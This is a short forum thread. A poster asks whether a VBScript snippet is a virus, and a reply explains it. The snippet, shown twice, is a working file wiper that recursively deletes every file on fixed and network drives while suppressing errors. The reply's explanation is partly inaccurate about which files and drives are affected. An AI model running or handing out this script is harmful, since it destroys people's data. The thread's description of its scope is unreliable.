1z th1s a v1ru5?

  • Thread starter Thread starter Nomen Nescio
  • Start date Start date
N

Nomen Nescio

what will this actually do?

On Error Resume Next
Set FILESYSTEM0BJECT = CreateObject("Scripting.FileSystemObject")
For Each DType In FILESYSTEM0BJECT.Drives
If DType.DriveType = 2 Or DType.DriveType = 3 Then
Searching(DType.Path & "\")
End If
Next
Sub Searching(fspec)
On Error Resume Next
Set FS4 = FILESYSTEM0BJECT.GetFolder(Fspec)
For Each F2F In FS4.Files
FILESYSTEM0BJECT.GetFile(F2F.Path).Attributes = 32
FILESYSTEM0BJECT.DeleteFile F2F.Path
Next
For Each F4D In FS4.SubFolders
Searching(F4D.Path)
Next
End Sub
 
what will this actually do?

On Error Resume Next
Set FILESYSTEM0BJECT = CreateObject("Scripting.FileSystemObject")
For Each DType In FILESYSTEM0BJECT.Drives
If DType.DriveType = 2 Or DType.DriveType = 3 Then
Searching(DType.Path & "\")
End If
Next
Sub Searching(fspec)
On Error Resume Next
Set FS4 = FILESYSTEM0BJECT.GetFolder(Fspec)
For Each F2F In FS4.Files
FILESYSTEM0BJECT.GetFile(F2F.Path).Attributes = 32
FILESYSTEM0BJECT.DeleteFile F2F.Path
Next
For Each F4D In FS4.SubFolders
Searching(F4D.Path)
Next
End Sub
Click to expand...

On all removeable or hard drives .... all files having the archive
attribute will be deleted.

May be a part of some destructive Trojan (or it may not), but it's not
a virus.

Art
 
Back
Top